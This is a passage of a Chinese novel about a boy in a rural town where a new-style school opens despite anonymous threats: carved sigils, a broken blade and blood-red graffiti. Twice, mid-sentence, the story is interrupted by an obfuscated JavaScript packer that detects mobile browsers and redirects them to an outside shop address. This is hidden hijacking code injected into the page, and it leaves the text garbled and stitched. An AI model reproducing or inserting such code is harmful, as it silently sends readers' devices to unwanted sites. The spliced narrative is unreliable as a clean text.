“来找你爹商量开学典礼的事,顺道过来看看。”卢明远走近,接过他手里的弓,掂了掂,“好弓。你爹给的?” 张静轩点头。 卢明远拉了拉弓弦,试了试力道:“守静笃,观复明……你爹对你期望很高。”他将弓递还,从布包里取出一本书,“这个,给你。” 那是一本《新青年》杂志,封面已经卷边,显然是翻阅过很多次的。张静轩接过,翻开扉页,上面用钢笔写着一段话:“青年如初春,如朝日,如百卉之萌动,如利刃之新发于硎。——□□” “这是去年我在省城买的,”卢明远说,“如今不太容易见到了。里头有些文章,你看了或许会有启发。” 张静轩小心地捧着杂志,像捧着一簇火苗。“卢大哥,早上的事……你怎么看?” 卢明远在石凳上坐下,摸出烟卷,想了想又放回去。“有人不想让学堂办成,”他直截了当,“但手段不算狠。若是真下黑手,放把火就是了,何必划一道痕?” “你是说……这只是警告?” “试探。”卢明远纠正道,“看看咱们的决心有多大,看看镇上的人心向着哪边。”他看向张静轩,“静轩弟,你记住,变革从来不是请客吃饭。即便是在青石镇这样的小地方,新东西要扎下根,也得破开旧土——而旧土,总是硬的。” 这话让张静轩想起老哑头说的“外头这世道是会咬人的”。他忽然问:“卢大哥,你在省城,见过更大的世面。外头的世界……真的那么乱吗?” 卢明远没有立刻回答。他抬起头,看着老槐树枝叶间漏下的天光,那些光斑在他脸上明明灭灭。“乱,”他终于说,“但也新。静轩,你听说过‘德先生’和‘赛先生’吗?” 张静轩摇头。 “德先生是民主,赛先生是科学。”卢明远的声音里有一种年轻人特有的热切,“外头有人在喊,要请这两位先生来救中华民国。有人说这是痴人说梦,有人说这是唯一的出路。”他顿了顿,“而青石镇的这所学堂,就是咱们请‘赛先生’进来的第一步。” “那德先生呢?” 卢明远笑了,笑容有些复杂:“饭要一口一口吃,路要一步一步走。先学科学,明事理,再谈其他。” 两人又说了会儿话,卢明远便告辞了。张静轩独自坐在后院,翻看那本《新青年》。文章里的句子像火种,烫着他的眼睛:“伦理的觉悟,为吾人最后觉悟之最后觉悟。”“我们现在认定只有这两位先生,可以救治中华民国政治上道德上学术上思想上一切的黑暗。” 太阳西斜时,福伯来叫他吃晚饭。张静轩合上杂志,忽然问:“福伯,您知道镇上有什么人……特别反对新事物吗?比如,特别守旧的那种?” 福伯正在收拾石凳上的箭矢,闻言手顿了顿:“小少爷怎么问这个?” “随便问问。” 老管家直起身,叹了口气:“要说守旧,陈老秀才算一个,但他那是读书人的固执,心眼不坏。真正……”他压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见老哑头在庭院中央略作停顿,并未做任何奇怪手势。他极快地蹲下身,用手指拂过青砖缝隙,又凑近嗅了嗅,像是在检查有无异常气味或痕迹。随后,他抬头,目光如电,径直投向张静轩房间的窗户——张静轩猛地缩回窗后,心口狂跳。 待他再悄悄望去时,那黑影已如来时一般,狸猫似的翻过墙头,消失在沉沉的夜色里,只留下庭院中一片被惊动的月光,碎银般晃动着。张静轩这才发觉,自己掌心已被那断陶片的棱角硌出了深印。 张静轩在窗边站了很久,直到夜风吹得他手脚冰凉。掌心那片陶片,不知何时已被汗水浸湿。 第二天,镇上传来消息:新请的先生们到了。 张静轩跟着父亲去镇公所时,远远就听见里头传来的谈笑声。跨进门槛,他第一眼看见的是个穿灰布长衫的青年,戴一副圆框眼镜,正和陈老秀才说着什么,语速很快,手势丰富。这应该就是程先生了。 而站在窗边的女子—— 张静轩呼吸一滞。 她穿着一身月白色的斜襟上衣,黑色百褶裙,剪着齐耳的短发,发梢微微内扣。年纪约莫二十出头,眉眼清秀,但最引人注目的是那双眼睛:沉静,明亮,像秋日深潭,映着窗外的天光。她手里拿着一本书,正低声和卢明远交谈,听见脚步声,转头看来。 那一瞬间,张静轩忽然明白了卢明远昨日耳根发红的原因。 “张伯父,”卢明远迎上来,脸上带着笑,“这位是程秋实先生,这位是苏宛音先生。” 程秋实上前一步,恭敬行礼:“张老先生,久仰。”他的普通话带着明显的江浙口音,但字正腔圆。 苏宛音也走过来,行礼的姿势很特别,不是万福,而是微微躬身,带着一种书卷气的清傲。最引人注目的是她腕上一只褪色的银镯,花纹古拙,不似凡品:“张老先生好。”她的声音清越,像玉磬轻击。 张老太爷还礼:“二位先生远道而来,辛苦了。寒舍已备下薄酒,为二位接风。” 一行人往张家走时,张静轩故意落在后面。他看见苏宛音走路的姿态——脊背挺直,脚步轻快,裙裾随着步伐微微摆动,既不失女子的柔美,又有一种读书人特有的端方。 “那就是张老太爷的小儿子?”他听见程秋实低声问卢明远。 “对,静轩。很聪慧,就是……”卢明远顿了顿,“被保护得太好了。” 苏宛音忽然回头,正好对上张静轩的目光。她微微一笑,那笑容很浅,却像春风拂过冰面,瞬间让张静轩手足无措,慌忙低下头。 接风宴设在后院的花厅。张夫人亲自下厨,做了几道本地特色菜。席间,程秋实话最多,从省城见闻到教育理念,滔滔不绝。苏宛音话少,但每每开口,都能切中要害。 “青石镇的情况,明远大致跟我们说了。”苏宛音放下筷子,“关于女班,我有一个请求。” “苏先生请讲。”张老太爷道。 “我希望女班不仅教识字算学,也教一些实用的技能。”她的目光清澈而坚定,“比如基础护理、缝纫裁剪,甚至简单的记账。女子学了这些,无论将来是持家还是谋生,都有用处。” 陈老秀才也在座,闻言皱眉:“女子学记账……是否太过?” “陈老先生,”苏宛音转向他,语气温和但不退让,“如今城里许多商铺、工厂都开始雇女账房。女子心细,做事稳妥,为何不能学?” “可那些都是抛头露面的……” “持家就不需要记账吗?”苏宛音反问,“一家一户的收支用度,若是主妇能算得清楚,日子岂不更稳当?” 陈老秀才还要说什么,张老太爷抬手止住:“苏先生说得在理。课程安排,全凭二位先生做主。” 程秋实笑道:“张老先生开明。”他转向张静轩,“静轩同学,听说你也报名了?可有什么想学的?” 所有人的目光都投过来。张静轩感到耳根发热,憋了半天,说出一句:“想学……格致。想知道电灯为什么会亮,火车为什么会跑。” 程秋实眼睛一亮:“好!这才是少年人该有的好奇心!” 苏宛音也看着他,眼里有赞许的笑意:“格致课我会协助程先生。我们带了些简单的实验器具,虽然简陋,但足够做些有趣的演示。” 宴席散后,张静轩送两位先生去暂住的客房——那是镇公所旁的一处小院,已经收拾干净。月光下,苏宛音忽然叫住他:“张同学。” “苏先生?” “我听明远说了祠堂梁上的事。”她的声音在夜色里格外清晰,“你不怕吗?” 张静轩一愣,没想到她会问这个。“有点,”他老实说,“但更多的是……不明白。为什么要阻止办学堂呢?” 苏宛音沉默片刻,轻声道:“因为改变总是让人恐惧。对某些人来说,未知的新世界,比熟悉的旧日子更可怕。”她抬头看向星空,“我父亲在世时常说,中华民国要变,最难的不是改制度,是改人心。” “您父亲……” “他是维新党人,戊戌年之后,一直郁郁。”苏宛音的语气很平静,像在说别人的事,“他临死前对我说,宛音,若有机会,去教书。一个先生能教出的,不止是一个学生,是一颗种子。种子会发芽,会开花,会结果。” 她说完,微微一笑:“早些休息吧。三天后开学,我可是很严格的。” 张静轩看着她走进院门的背影,月白的衣衫在夜色里像一抹清辉。他忽然想起《新青年》里的一句话:“青年之字典,无‘困难’之字;青年之口头,无‘障碍’之语。” 回到自己房间,他将那片陶片和《新青年》放在一起,又拿出那把榆木弓,指尖摩挲着“守静笃,观复明”六个字。 窗外,秋虫啁啾。更夫的梆子声从远处传来,三更了。 三天后,青石镇的新式学堂,就要开学了。 这三天里,青石镇悄然变化着。程秋实和苏宛音先生已安顿在镇公所旁的小院。 苏先生话不多,常独自在祠堂内外走动,手指拂过新漆的门窗,眼神沉静;程先生则活力十足,拉着卢明远走街串巷,拜访有望送孩子入学的人家,逢人便讲新学的好处。 张老太爷又往祠堂运去了两车新打的桌椅,福伯带着伙计们清扫整理,直至夜深。 镇上的孩子们路过时,总要扒着门缝好奇地望一望——那空荡荡的堂屋,很快就要被他们的读书声填满了。 4. 第四章 开学日 开学那日,青石镇的天蓝得透亮,像一块刚洗过的靛青布。 张静轩醒得比往日都早……窗外还是蟹壳青的颜色,他已经穿戴整齐,对着铜镜仔细理了理学生装的领口。镜中的少年,眉眼间还留着稚气,但下颌线已显出些许硬朗的轮廓。他拿起那把榆木弓,在手里掂了掂,又放回架上。 前院传来动静。张静轩推门出去,看见福伯正指挥着两个伙计往板车上搬东西——是几大捆簇新的课本,油墨味混在晨雾里,清冽又陌生。 “小少爷早。”福伯擦了擦额头的汗,“这些是昨儿半夜才从省城运到的,程先生和苏先生亲自点的书目。” 张静轩走近,随手翻开最上面一本。是《共和国教科书·国文》,扉页印着孙中山先生的肖像,下方一行小字:“自由平等博爱”。他摩挲着纸张,忽然有种奇异的触感——这些书页将要承载的,不止是文字。 早饭时,张夫人往儿子碗里添了勺肉臊子:“多吃些,第一日上学,费精神。”她顿了顿,声音放轻,“你爹天没亮就去祠堂了,说要再检查一遍。” 张静轩抬头:“爹还在担心那刻痕的事?” 张夫人没说话,只又夹了个煎饺给他。但张静轩看见,母亲眼下有淡淡的青影。 祠堂前的空地上已经聚了不少人。有送孩子来的家长,有纯粹看热闹的镇民,还有几个挎着篮子的妇人,篮里装着煮鸡蛋和炒花生——按本地风俗,孩子第一日上学,要吃“聪明蛋”。 张静轩穿过人群,看见西厢的门楣上挂了块新匾,黑底金字:“青石镇新式学堂”。字是陈老秀才写的,颜体,敦厚端正。匾额下,程秋实和苏宛音并肩站着,两人都穿了崭新的长衫和裙装,像两株挺拔的植物。 “静轩同学!”程秋实看见他,眼睛一亮,“来得正好,帮我把这风琴抬进去。” 那是一架脚踏风琴,漆面已经斑驳,但键盘洁白。张静轩和卢明远一起,费力地将它抬进正堂。堂内摆了三十来套桌椅,都是新打的松木,散发着树脂的清香。最前方是一块刷了黑漆的木板,旁边立着个木架,上头放着粉笔和板擦。 “这是黑板?”张静轩问。 “对。”苏宛音跟进来,手里拿着一盒彩色粉笔,“程先生从省城旧货市场淘来的,虽然旧,但好用。”她走到黑板前,用白色粉笔写下几个字:“开学第一课”。 字迹清秀,却有筋骨。 外头传来喧哗声。张静轩走到窗边,看见父亲和陈老秀才、镇长等人站在院中,正在说话。陈老秀才今日特意穿了件深蓝绸衫,手里拄着那根紫檀拐杖,神情庄重。 “吉时到——”镇长拉长了声音。 程秋实和苏宛音对视一眼,并肩走出去。张静轩跟在后面,心跳莫名加快。 祠堂前的石阶上,镇长清了清嗓子:“诸位乡亲,今日是青石镇的大日子。咱们的新式学堂,正式开学了!”他顿了顿,声音低了些,“这学堂能办成,多亏张公鼎力相助,也多亏各位乡邻支持。现在,请张公说几句。” 张老太爷往前走了两步。晨光落在他花白的鬓角上,镀了层淡金。他环视着在场的人,目光在每个孩子脸上停留片刻。 “我不多说,”他开口,声音不高,但字字清晰,“只一句:进了这学堂的门,你们学的不仅是识字算数,更是做人的道理。先生教你们,你们也要教先生——教先生知道,咱们青石镇的孩子,有志气,有骨气。” 人群静了一瞬,然后爆发出掌声。张静轩看见,父亲说完这话,目光投向远方青云山的方向,久久没有收回。 接着是程秋实讲话。他显然准备过,从教育救国的理念讲到新学的内容,慷慨激昂。但张静轩注意到,许多镇民听得茫然——那些“德先生赛先生”的话,离青石镇的日常太远了。 轮到苏宛音时,她只说了三句:“我会尽力教好每一个学生。无论男孩女孩,在我眼里都是求知的孩子。学堂的大门,永远向所有想学习的人敞开。” 话很简单,但张静轩看见,人群中有几个妇人悄悄抹了抹眼角。 开学仪式结束,学生们鱼贯进入课堂。一共二十八人,男孩二十,女孩八个,年纪从九岁到十六岁不等。张静轩坐在第三排靠窗的位置,旁边是个叫水生的小子,是码头船工的儿子,手指关节粗大,指甲缝里还留着洗不净的泥垢。周大栓曾憨笑着道:“这小子,别的不行,就记数快。码头上船来船往,他看一眼就晓得哪船货多货少。” 水生显然很紧张,双手紧紧按在膝盖上,崭新的粗布裤子被揉出褶皱。张静轩对他笑了笑,水生愣了一下,也咧开嘴,露出一口白牙。 第一节课是国文,程秋实教。他先讲了课本的来历,又领着大家读第一课:“人,手足。目,视。耳,听。”声音在空旷的堂内回荡,有种奇特的韵律。 张静轩跟着读,目光却飘向窗外。祠堂的院子里,那棵老槐树下,不知何时站了个佝偻的身影——老哑头。他远远望着课堂的方向,一动不动,像一尊风化的石像。 课间休息时,张静轩走出祠堂。老哑头还在那里,见他出来,招了招手。 “老先生,”张静轩走近,“您也来听课?” 老哑头摇摇头,从怀里掏出个油纸包,递过来。张静轩打开,里面是两块芝麻糖,已经有些融化了,黏在纸上。 “给我?” 点头。老哑头又指了指课堂的方向,伸出大拇指。 “您觉得……这是好事?” 老哑头没有立刻回应。他蹲下身,用枯瘦的手指在泥土上划了几个字:“种子已种,小心风雨。” 张静轩心头一紧:“什么风雨?” 老哑头站起身,拍了拍手上的土,又变回那副木然的神情,转身走了。张静轩看着他佝偻的背影消失在祠堂拐角,手里的芝麻糖沉甸甸的。 第二节课是算学,苏宛音教。她先问了几个简单的问题:“如果你阿爹去卖米,一斗米十个铜板,三斗米多少钱?”“如果你阿娘买布,一尺布三个铜板,买五尺要多少钱?” 孩子们纷纷举手,答案五花八门。水生算得最快,几乎脱口而出。苏宛音走到他身边,温和地问:“你怎么算的?” 水生脸红了,低声说:“我……我常在码头帮我爹算货。十个铜板加十个铜板再加十个铜板,就是三十个。三个铜板加三个铜板……” “很好。”苏宛音打断他,声音里有赞许,“你用的方法叫‘累加’。但还有更快的办法。”她转身在黑板上写下:10×3=30,3×5=15。 “这叫乘法。”她说,“学会了,算得又快又准。” 孩子们睁大眼睛看着那些奇怪的符号。张静轩也会乘法——京都先生教过——但此刻坐在这些从未接触过新学的孩子中间,他忽然理解了苏宛音说的“种子”是什么意思。 中午放学,学生们涌出祠堂。家长们等在外头,看见孩子出来,忙不迭地问:“学了啥?”“先生凶不凶?” 水生跑向他爹——一个皮肤黝黑的汉子。汉子揉着儿子的头,咧嘴笑:“好好学,学好了,将来不用像爹这样卖苦力。” 张静轩站在门口,看着这一幕,心里有种说不出的滋味。他想起大哥,那个会偷偷教穷孩子识字的大哥,如果看到今天这场面,会是什么表情? “静轩同学。” 他回头,看见苏宛音站在台阶上,手里拿着本点名册。“放学了还不回家?” “这就走。”张静轩顿了顿,“苏先生,您觉得……他们能学会吗?” 苏宛音顺着他的目光看向那群渐渐散去的孩子和家長,沉默片刻:“有人能,有人不能。有人会坚持,有人会放弃。但只要有一个人因为进了这学堂,人生有了不一样的风景,这事就值得。” 她说完,转身进了祠堂。张静轩站在原地,回味着这话。 午饭时,张老太爷问起学堂的事。张静轩把上午的课说了,又提起老哑头送的芝麻糖。 张夫人“呀”了一声:“那老哑头……倒是难得。他平日从不与人亲近。” 张老太爷放下筷子,若有所思:“他今日去学堂了?” “在院子里看了很久。” “说了什么?” 张静轩犹豫了一下,还是说了:“他在地上写了‘种子已种,小心风雨’。” 饭桌上静了静。张老太爷缓缓道:“他是见过风雨的人。”说完这句,便不再言语。 午后,张静轩照例去后院练箭。弓弦拉到一半,他忽然停了——墙根下,那片栀子花丛的阴影里,有什么东西在反光。 他走过去,拨开花丛,呼吸一滞。 是半截断裂的刀片,约莫三寸长,宽背薄刃,钢口极好。刀身上沾着泥土,但刃口处寒光凛冽,显然是新断的。张静轩捡起刀片,翻转查看,在靠近断口的地方,发现了一个极小的刻痕:一个变体的“禁”字,和陶片上的纹样一模一样。 他的手开始发抖。这刀片,和梁上刻痕的刀具,是同一把。而这刀片,出现在张家后院里。 “静轩?” 张夫人从廊下走来,看见儿子手里的东西,脸色一白:“这……这是哪来的?” 张静轩将刀片藏在身后:“没什么,一片碎铁。” “给我看看。”张夫人的声音在颤。 张静轩只好递过去。张夫人接过刀片,指尖抚过那个“禁”字符,脸色倏地苍白,不是惊恐,而是一种沉痛的恍然。她迅速将刀片收紧掌心,低语道:“这东西……不该再出现。”她看向儿子的眼神复杂难言,“静轩,这事娘来处理,你莫再问,也先别告诉你爹。” “娘,您知道这是什么?” 张夫人没有回答,只是将刀片收进袖中:“去练箭吧。记住,无论看到什么,听到什么,专心做你该做的事。” 她转身走了,脚步有些踉跄。张静轩看着母亲的背影,心里那团疑云越来越浓。 整个下午他都心不在焉。练箭时,三箭都脱了靶。京都先生来上经史课,讲到“君子不立危墙之下”,他忽然问:“先生,若是危墙不得不立呢?” 京都先生是个清瘦的老者,扶了扶眼镜:“那便加固墙基,或者……拆了危墙,建新的。” “可拆墙会惊动墙里的东西。” 先生看了他一眼,目光深邃:“静轩,你今日有心事。” 张静轩低下头:“学生愚钝。” “你不是愚钝,是看见了不该你这个年纪看见的东西。”先生放下书,“你爹让你学经史,不是要你变成书呆子,是要你明白,这世上的道理,古今相通。危墙也好,新墙也罢,关键不是墙,是墙里住的人要不要改变。” 这话像一道光,劈开了张静轩心里的迷雾。他忽然想:梁上刻痕,后院刀片,老哑头的警告,母亲的异常……所有这些,也许都指向同一个问题:青石镇的某些人,不想改变。 但为什么?新学堂碍着谁了? 放学后,他没有立刻回家,而是绕道去了镇东头的铁匠铺。铺子老板姓赵,是个独眼老汉,镇上的刀具多出自他手。 赵铁匠正在打一把镰刀,炉火映着他半边脸,汗水顺着皱纹往下淌。看见张静轩,他停了锤:“小少爷,要打什么?” “不打什么,问问。”张静轩掏出早就准备好的纸片,上面描着那个“禁”字符号,“赵师傅,您见过这个纹样吗?” 赵铁匠独眼眯起来,凑近看了半晌,摇摇头:“没见过。这不是咱们这儿的样式。”他顿了顿,“倒像是……关外那些萨满用的符。” “萨满?” “跳大神的。”赵铁匠又抡起锤子,“早些年走关东,见过。他们做法器,刀啊铃啊,上面就刻这种弯弯绕绕的字。” 张静轩心头一动:“关外……很远吗?” “远着呢。”赵铁匠一锤砸在烧红的铁块上,火星四溅,“得过山海关,往北,往北,一直走到能看见毛子人的地方。”他忽然停下手,独眼里闪过一丝什么,“小少爷怎么问起这个?” “随便问问。”张静轩收起纸片,“谢谢赵师傅。” 离开铁匠铺时,天边已经泛起橘红。晚霞像泼翻的胭脂,染红了青石镇的屋瓦。张静轩走在回家的路上,脑子里翻腾着赵铁匠的话:关外,萨满,符咒。 如果刻痕和刀片上的符号真的来自关外,那么老哑头——那个自称去过关外、见过甲午海战的老人——是否知道些什么?他又为什么要在半夜翻进张家院子? 这些问题像藤蔓,缠绕着张静轩的思绪。走到张家巷口时,他看见卢明远从对面走来,神色匆匆。 “卢大哥?” 卢明远抬头,见是他,松了口气:“静轩弟,正好。程先生和苏先生请你过去一趟,有事商量。” “现在?” “现在。” 两人一同往学堂方向走。路上,卢明远低声说:“今天放学后,有人在学堂后墙涂了东西。” 张静轩心头一紧:“涂了什么?” “四个字:关门大吉。” 学堂后墙是一片灰白的石灰墙,此刻,四个歪歪扭扭的红色大字赫然在目。颜料像是朱砂混合了猪血,在暮色里泛着暗沉的光。程秋实和苏宛音站在墙前,两人的脸色都不好看。 “什么时候发现的?”张静轩问。 “半个时辰前。”程秋实推了推眼镜,镜片后的眼睛里满是疲惫,“守祠堂的老李头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140646|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见的,他说午饭后还没有。” 苏宛音蹲下身,用手指蘸了点未干的颜料,凑到鼻尖闻了闻:“是朱砂和血。血已经凝固了,不是新鲜的。” “也就是说,是预谋好的。”卢明远握紧拳头,“有人早就准备好了。” 张静轩看着那四个字。字写得很丑,笔画歪斜,但每一笔都用力极深,颜料渗进墙皮,像一道道伤口。“这是警告,”他说,“比梁上刻痕更直接的警告。” “我们该怎么办?”程秋实看向苏宛音,“要不要报官?” 苏宛音站起身,拍了拍手上的灰:“报官?镇上唯一的巡警老刘,连自己的名字都写不全。”她语气平静,但张静轩看见,她垂在身侧的手在微微发抖。 “那总不能……” “洗掉。”苏宛音打断他,“现在就洗掉。明天孩子们来上学,不能让他们看见这个。” 卢明远点点头:“我去打水。” 四个人忙活起来。水桶、刷子、抹布,一桶桶清水泼在墙上,红色渐渐淡去,但字痕已经渗进石灰,留下浅浅的印子。暮色越来越浓,最后一点天光消失时,墙上的字终于看不清了。 苏宛音靠在墙上,长长吐出一口气。她的月白衣衫上溅满了水渍和淡红色的痕迹,像雪地上落了梅花。 “苏先生……”张静轩想说些什么,却不知从何说起。 “我没事。”苏宛音直起身,理了理头发,“静轩,你回家吧。今天的事,先别告诉太多人。” “我爹那边……” “我会去说。”卢明远接话,“张伯父有知情权。” 张静轩点点头,转身要走,又停住:“苏先生,程先生,你们……不怕吗?” 程秋实苦笑:“怕,怎么不怕。但怕也得做。”他看向那面被洗刷得斑驳的墙,“我爹是个私塾先生,一辈子教‘之乎者也’。临死前跟我说,秋实啊,老一套救不了中华民国了。你去学新的,教新的。” 苏宛音没有说话,只是仰头看着夜空。几颗疏星已经亮起,冷冷清清。 张静轩回到家时,晚饭已经备好。饭桌上,张老太爷问起学堂的事,张静轩只说一切都好。他看见母亲时不时看向父亲,欲言又止。 饭后,张老太爷叫住儿子:“静轩,跟我来书房。” 书房里点着油灯,光线昏黄。张老太爷从抽屉里取出那片暗红色的陶片,放在书案上:“这个,你收好。” “爹?” “今天卢明远来找过我,说了后墙涂字的事。”张老太爷的声音很平静,“这陶片上的符号,和刀片上的,是同一个。我找人问过,确实来自关外,是萨满教镇物上用的‘禁字符’。” 张静轩屏住呼吸。 “青石镇,有人不想让学堂办下去。”张老太爷缓缓道,“这人懂关外的符咒,手里有利器,行事隐蔽,而且……对张家有特别的关注。” “为什么是张家?” 张老太爷没有立刻回答。他站起身,走到墙边那幅《山河图》前——那是大哥的留白题字处。指尖轻轻拂过画卷,声音低得几乎听不见:“因为你大哥。” “大哥?” “你大哥离家前,镇上出过一桩事。”张老太爷转过身,灯光在他脸上投下深深的阴影,“你还记得有个外乡投靠我们家姓秦的先生吗?其实他不是失踪了。他在镇上贩卖新式书刊,还教人认字,记录民风,也带过你几天的学习。后来……那人被火烧死了。你大哥追查过,没查出结果。不久后,他就参军走了。” 张静轩感到脊背发凉:“您是说……那人……” “我不知道。”张老太爷打断他,“但有些事,冥冥中有联系。秦先生的死亡,你大哥追查,学堂遇阻……这镇上,有股暗流,一直没散。” 窗外传来风声,呼啸着穿过檐角。油灯的火焰跳动了一下,书房里光影摇曳。 “爹,那我们怎么办?” 张老太爷走回书案后,坐下,双手按在案上:“学堂照办。不仅如此,还要办得更好。”他看向儿子,“静轩,从明天起,你每日上学放学,都走大路,不要独自去偏僻处。还有,留心观察,学堂里外,有什么异常的人或事。” “您是要我……” “不是要你做暗探。”张老太爷的目光深沉,“是要你学会看清这世道。学堂里教的是明理,但世道里藏的是人心。这两样,你都得懂。” 张静轩重重点头,喉咙却像被什么堵着。回到书房外廊下,他停下脚步,望着庭院里被月光洗白的青砖。 “爹,”他声音有些干涩,“若我继续查下去……会不会给家里,给学堂,招来更大的祸事?” 张老太爷没有立刻回答。他走到儿子身边,一同看着那铺满庭院的清辉。“静轩”他缓缓道,“你爷爷当年带着我们南逃,路上见到人间至暗。他曾说,人活于世,有些选择,不是权衡祸福之后做的,而是……看见了,心里那杆秤就歪不了了。你大哥当年走,也是因为心里那杆秤。” 他拍了拍儿子单薄却已显韧劲的肩:“怕,是常情。但若因怕而闭目塞听,张家也就不是张家了。只是你要记住,看清楚了,还得想清楚,做扎实。弓在弦上,引而不发,是威慑;箭既离弦,便须有的放矢。” 张静轩深深吸了口气,夜凉的空气沁入肺腑,却点燃了胸中一团火。他回到自己房间,取出那把榆木弓。指腹摩挲着“守静笃,观复明”六个字,一遍,又一遍。守静,是在惊涛中稳住心神。观复,是在迷雾里辨明方向。而现在,他明白了第三步:前行,在看清方向后,稳稳地迈出步子。 窗外,更夫的梆子声传来,三更天了。远处青云河的水声隐约可闻,潺潺的,永不停歇。 张静轩吹熄灯,在黑暗里闭上眼睛。脑海里闪过许多画面:学堂里孩子们认真的脸,苏宛音写字的背影,老哑头在泥土上划的字,后墙上那四个血红的“关门大吉”…… 这些画面交织在一起,像一张网,网住了这个十五岁的秋天。 而他知道,网总要破的。 要么被外力撕裂,要么……从里面挣开。 连着几日,镇上茶余饭后除了学堂的新鲜事,也多了些别的嘀咕。码头上扛活的周大栓跟人念叨,说前些天有个生面孔的“药材商人”在河边转悠,打听的却不是药材行情,尽问“镇上孩子多不多”“祠堂修得如何”。 杂货铺刘掌柜也想起,有个外乡口音的人来买过朱砂和生石灰,量不多,但问得仔细。这些零碎话头,起初没人在意,直到祠堂后墙被泼了粪,梁上发现了刻痕,人们才恍恍惚惚把这些片段拼凑起来——那些看不见的对手,或许早就披着各式外衣,混在日常生活的水流里,窥探着,准备着。 5. 第五章 暗潮 又是一日,青石板路泛着水光,倒映着晨起人家的炊烟。张静轩踩着湿润的石板往学堂走,怀里揣着母亲硬塞的两个煮鸡蛋,还温着。路过祠堂后墙时,他特意放慢脚步——昨夜洗刷的痕迹还在,石灰墙上一片斑驳,像愈合中的伤口,但那些字确实看不见了。 学堂的门已经开了。张静轩走进去,看见苏宛音正蹲在黑板前,用抹布仔细擦拭板面。她今日换了件浅蓝上衣,袖口挽到肘部,露出纤细的手腕。 “苏先生早。”张静轩站在门口。 苏宛音回头,眼底有淡淡的青影,但笑容依然温和:“静轩同学早。吃过了吗?” “吃过了。”张静轩走进来,将书包放在自己的座位上,“您……昨夜没睡好?” “睡得晚了些。”苏宛音站起身,将抹布叠好放在窗台上,“在备今天的课。”她走到讲台边,拿起一本册子,“静轩,有件事想请你帮忙。” 那是一本花名册,密密麻麻写满了字。“这是所有报名学生的家庭情况,”苏宛音翻开册子,“但我发现,有些信息不全。比如水生的生日,只写了‘约十岁’,还有小莲的父亲做什么工,也只写了‘在外’。” 张静轩接过册子,翻看着。青石镇不大,但这些孩子背后的家庭,他却所知甚少。 “我想做个家访。”苏宛音说,“但一个人跑不过来,程先生要备教案。你是本地人,又熟悉这些孩子,能不能……陪我一起去?” 张静轩愣了一下。家访?这倒是新鲜事。京都先生从不会去学生家里,父亲请的那些师傅,也只在张府授课。 “好。”他点头,“什么时候去?” “今天放学后。”苏宛音眼睛亮起来,“先从最远的几家开始。” 上课钟敲响时,学生们陆续到了。水生今天换了一件稍干净的褂子,但膝盖上的补丁还是新的,针脚粗大。他看见张静轩,咧嘴一笑,露出一口白牙。 “水生,”张静轩低声问,“你十岁生日是哪天?” 水生挠挠头:“俺娘说,是收麦子的时候。具体哪天……她记不清了。”他顿了顿,“少爷问这个干啥?” “没什么。”张静轩翻开课本,心里却沉了沉。一个连生日都记不清的孩子,在家里的分量能有多重? 上午的课很顺利。程秋实教国文,讲《少年中华民国说》,声音激昂:“少年智则国智,少年富则国富,少年强则国强……”孩子们跟着念,虽然不懂深意,但朗朗上口的句子让他们兴奋。 课间休息时,张静轩走到祠堂院子里。雨后的空气带着泥土的腥甜,老槐树的叶子滴着水珠。他看见墙角蹲着个人——是小莲,那个八岁的女孩,瘦瘦小小的,总坐在最后一排。 小莲正用树枝在地上划着什么。张静轩走近,看见她画的是几个歪歪扭扭的字:爹,娘,我。 “小莲,”他蹲下身,“想爹娘了?” 小莲吓了一跳,树枝掉在地上。她抬头看张静轩,眼睛很大,但眼神怯怯的:“张……张少爷。” “叫我静轩哥就行。”张静轩捡起树枝,在地上写下“小莲”两个字,“这是你的名字。会写吗?” 小莲摇摇头,但又点点头:“苏先生昨天教了,我……我记不住。” “慢慢来。”张静轩将树枝递还给她,“你爹娘呢?” “爹去省城做工了。”小莲的声音细如蚊蚋,“娘……娘生病,在床上。”她顿了顿,“苏先生说,学会写字,就能给爹写信了。” 张静轩心里一酸。他想起自己小时候,大哥握着他的手,一笔一划教他写“张”字的情景。那时他觉得理所当然的事,对这些孩子来说,却是奢望。 “下午放学后,”他说,“我和苏先生去你家看看,好吗?” 小莲的眼睛亮了一下,又暗下去:“我家……很破。” “没关系。” 上课钟又响了。张静轩站起身,看见苏宛音站在廊下,正望着这边。她对他点点头,眼神里有赞许,也有忧虑。 下午的算学课后,学生们一哄而散。张静轩收拾好书包,等苏宛音整理完教案,两人一同走出祠堂。 夕阳西斜,将青石镇的影子拉得很长。苏宛音手里拿着花名册和一个小布包,里面是她准备的见面礼——几块饴糖,几包草药。 “先去小莲家,”她说,“在镇子最西头,青云河边。” 两人穿过纵横交错的巷子。越往西走,房屋越破败,路面也由青石板变成土路,雨后泥泞不堪。苏宛音拎着裙角,小心地避开水洼,但鞋面还是沾满了泥点。 小莲家是一间低矮的土坯房,屋顶的茅草已经发黑,墙面上裂着蛛网般的细缝。门虚掩着,里面传来压抑的咳嗽声。 “有人在吗?”苏宛音轻声问。 门开了条缝,小莲探出头,看见是他们,忙把门拉开:“苏先生,静轩哥……请进。” 屋里很暗,只有一扇小窗透进些许天光。土炕上躺着个妇人,盖着打满补丁的被子,正艰难地撑起身子。 “娘,这是学堂的苏先生,还有张少爷。”小莲忙去扶她。 妇人想下炕行礼,被苏宛音按住:“您别动,躺着就好。”她在炕沿坐下,打开布包,“听说您身子不好,带了些草药,是治咳嗽的。” 妇人的眼睛在昏暗里闪着泪光:“这怎么使得……小莲去上学,已经麻烦先生了…” 